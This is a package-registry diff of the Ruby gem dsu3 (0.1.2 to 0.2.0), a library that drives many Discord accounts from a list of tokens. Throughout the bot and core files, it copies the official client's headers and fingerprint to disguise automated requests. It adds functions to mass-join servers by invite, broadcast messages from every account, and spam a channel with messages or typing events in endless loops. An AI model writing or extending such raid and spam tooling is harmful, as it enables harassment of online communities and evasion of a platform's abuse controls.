dsu3 0.1.2 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 39574ee814e9f5b3402c1b228a30463809c2c666501b2d5689e58157bc5393b0
4
- data.tar.gz: a832c0a390d062ed794423106492cc4d9bbd4f6019c04657cbbcbf41b44e69ba
3
+ metadata.gz: 7cc824dc0c20f13c57b1d52de343242849f438cfd4ad4689d52d67e364640c32
4
+ data.tar.gz: 0fd1ff66a6390130bac16711c7dee4ece28ede6022e640a0ce8d9c7365e02604
5
5
  SHA512:
6
- metadata.gz: 8fa8d19117c9865d17b4b08b58f0528cf4945d88a7306dafc433f878eb13276a3aca4e6f63ecaff9bc8d0fb1efe078c0fd1d94199611c017f26c035e99ac2518
7
- data.tar.gz: ee3724f2c0cb2ae8a89aae1ae2c80772a579ae28f7ab2f4d1e0f9fa194eabb0dfc47d12b62c57d1fffa6bcdddac4e84979d9465e7019614700b788201581b751
6
+ metadata.gz: '09d69467460d12018015c06b3913739eab1c596f82b6d6def36601c4f3417e76bd1db62dacd1c9f042971c819a289f1592bd2fa0ad065fc787cbfe9a1ae3b1b5'
7
+ data.tar.gz: 822d6e5232aa464cd77e5440313353d917ce0433c46a75442baffcebe9c121cbdf0a88a4d4b680e71a64c44968392dd82cb3aca2592f1ccc391dcd736c6e09c6
data/lib/dsu3/bot.rb CHANGED
@@ -1,6 +1,7 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  require 'rest-client'
4
+ require 'json'
4
5
  require 'uri'
5
6
 
6
7
  module DSU3
@@ -13,7 +14,7 @@ module DSU3
13
14
  end
14
15
 
15
16
  # Makes an API request, includes simple rate limit handling
16
- # @param [Symbol, String] method
17
+ # @param [Symbol, String] method
17
18
  # @param [String] endpoint Discord API endpoint
18
19
  # @param [Hash] headers Additional request headers
19
20
  # @param [String] payload
@@ -30,9 +31,29 @@ module DSU3
30
31
  RestClient::Request.execute(args)
31
32
  rescue RestClient::TooManyRequests => e
32
33
  LOGGER.warn('rate limit exceeded')
33
- sleep(e.headers['Retry-After'])
34
+ sleep(JSON.parse(e.response)['retry_after'] / 1000.0)
34
35
  retry
35
36
  end
36
37
  end
38
+
39
+ # Sends a message to a specific channel
40
+ # @param [String, Integer] channel Channel ID
41
+ # @param [String] message
42
+ def send_message(channel, message)
43
+ request(
44
+ :post, "channels/#{channel}/messages",
45
+ {}, { content: message }.to_json
46
+ )
47
+ end
48
+
49
+ # Joins guild
50
+ # @param [String] invite Invite code
51
+ def join(invite)
52
+ request(
53
+ :post, "invites/#{invite}",
54
+ { x_context_properties: 'eyJsb2NhdGlvbiI6Ik1hcmtkb3duIExpbmsifQ==' },
55
+ '{}'
56
+ )
57
+ end
37
58
  end
38
59
  end
data/lib/dsu3/core.rb CHANGED
@@ -1,55 +1,19 @@
1
1
  # frozen_string_literal: true
2
2
 
3
- require 'base64'
4
- require 'json'
5
-
3
+ require 'dsu3/props'
6
4
  require 'dsu3/bot'
7
5
 
8
6
  module DSU3
9
7
  # All DSU3 functionality, used to manage multiple bots
10
8
  class Core
11
- # user-agent header
12
- USER_AGENT =
13
- 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) '\
14
- 'discord/0.0.18 Chrome/91.0.4472.164 Electron/13.6.6 Safari/537.36'
15
-
16
- # Decoded x-super-properties header
17
- SUPER_PROPERTIES = {
18
- os: 'Linux',
19
- browser: 'Discord Client',
20
- release_channel: 'stable',
21
- client_version: '0.0.18',
22
- os_version: '5.10.0-14-amd64',
23
- os_arch: 'x64',
24
- system_locale: 'en-US',
25
- window_manager: 'XFCE,xfce',
26
- distro: 'Debian GNU/Linux 11 (bullseye)',
27
- client_build_number: 136_921,
28
- client_event_source: nil
29
- }.freeze
30
-
31
- # Main headers
32
- HEADERS = {
33
- accept: '*/*',
34
- accept_encoding: 'gzip, deflate, br',
35
- accept_language: 'en-US',
36
- sec_fetch_dest: 'empty',
37
- sec_fetch_mode: 'cors',
38
- sec_fetch_site: 'same-origin',
39
- user_agent: USER_AGENT,
40
- x_debug_options: 'bugReporterEnabled',
41
- x_discord_locale: 'en-US',
42
- x_super_properties: Base64.strict_encode64(SUPER_PROPERTIES.to_json)
43
- }.freeze
44
-
45
9
  # @param [Array] tokens List of bot tokens
46
10
  def initialize(tokens)
47
- headers = get_headers
11
+ headers = Props.headers
48
12
  @bots = tokens.map { |token| Bot.new(headers.merge(authorization: token)) }
49
13
  end
50
14
 
51
- # Infinitely types in a certain channel
52
- # @param [String, Integer] channel Channel id
15
+ # Infinitely writes to a particular channel
16
+ # @param [String, Integer] channel Channel ID
53
17
  def typespam(channel)
54
18
  loop do
55
19
  @bots.each { |bot| bot.request(:post, "channels/#{channel}/typing") }
@@ -57,15 +21,23 @@ module DSU3
57
21
  end
58
22
  end
59
23
 
60
- private
24
+ # (see Bot#send_message)
25
+ def send_message(channel, message)
26
+ @bots.each { |bot| bot.send_message(channel, message) }
27
+ end
61
28
 
62
- def get_headers
63
- resp = RestClient.get('https://discord.com/api/v9/experiments', HEADERS)
29
+ # Infinitely calls a block and sends the value it returns to a specific channel
30
+ # @param [String, Integer] channel Channel ID
31
+ def spam(channel, &block)
32
+ loop { @bots.each { |bot| bot.send_message(channel, block.call) } }
33
+ end
64
34
 
65
- {
66
- cookie: HTTP::Cookie.cookie_value(resp.cookie_jar.cookies),
67
- x_fingerprint: JSON.parse(resp.body)['fingerprint']
68
- }.merge(HEADERS)
35
+ # (see Bot#join)
36
+ def join(invite)
37
+ @bots.each do |bot|
38
+ bot.join(invite)
39
+ sleep(0.5)
40
+ end
69
41
  end
70
42
  end
71
43
  end
data/lib/dsu3/props.rb ADDED
@@ -0,0 +1,56 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'rest-client'
4
+ require 'json'
5
+ require 'base64'
6
+
7
+ module DSU3
8
+ module Props
9
+ module_function
10
+
11
+ # user-agent header
12
+ USER_AGENT =
13
+ 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) '\
14
+ 'discord/0.0.18 Chrome/91.0.4472.164 Electron/13.6.6 Safari/537.36'
15
+
16
+ # Decoded x-super-properties header
17
+ SUPER_PROPERTIES = {
18
+ os: 'Linux',
19
+ browser: 'Discord Client',
20
+ release_channel: 'stable',
21
+ client_version: '0.0.18',
22
+ os_version: '5.10.0-14-amd64',
23
+ os_arch: 'x64',
24
+ system_locale: 'en-US',
25
+ window_manager: 'XFCE,xfce',
26
+ distro: 'Debian GNU/Linux 11 (bullseye)',
27
+ client_build_number: 136_921,
28
+ client_event_source: nil
29
+ }.freeze
30
+
31
+ # Main headers
32
+ HEADERS = {
33
+ accept: '*/*',
34
+ accept_encoding: 'gzip, deflate, br',
35
+ accept_language: 'en-US',
36
+ sec_fetch_dest: 'empty',
37
+ sec_fetch_mode: 'cors',
38
+ sec_fetch_site: 'same-origin',
39
+ user_agent: USER_AGENT,
40
+ x_debug_options: 'bugReporterEnabled',
41
+ x_discord_locale: 'en-US',
42
+ x_super_properties: Base64.strict_encode64(SUPER_PROPERTIES.to_json),
43
+ content_type: 'application/json'
44
+ }.freeze
45
+
46
+ # Gets the headers necessary for normal interaction with the Discord API
47
+ def headers
48
+ resp = RestClient.get('https://discord.com/api/v9/experiments')
49
+
50
+ {
51
+ cookie: HTTP::Cookie.cookie_value(resp.cookie_jar.cookies),
52
+ x_fingerprint: JSON.parse(resp.body)['fingerprint']
53
+ }.merge(HEADERS)
54
+ end
55
+ end
56
+ end
data/lib/dsu3.rb CHANGED
@@ -5,7 +5,7 @@ require 'dsu3/core'
5
5
 
6
6
  # Main DSU3 namespace
7
7
  module DSU3
8
- VERSION = '0.1.2'
8
+ VERSION = '0.2.0'
9
9
 
10
10
  LOGGER = Logger.new($stdout)
11
11
  LOGGER.level = Logger::WARN
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: dsu3
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.2
4
+ version: 0.2.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Artur Sheremetjev IV
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2022-07-15 00:00:00.000000000 Z
11
+ date: 2022-07-17 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: rest-client
@@ -35,6 +35,7 @@ files:
35
35
  - lib/dsu3.rb
36
36
  - lib/dsu3/bot.rb
37
37
  - lib/dsu3/core.rb
38
+ - lib/dsu3/props.rb
38
39
  homepage: https://rubygems.org/gems/dsu3
39
40
  licenses:
40
41
  - MIT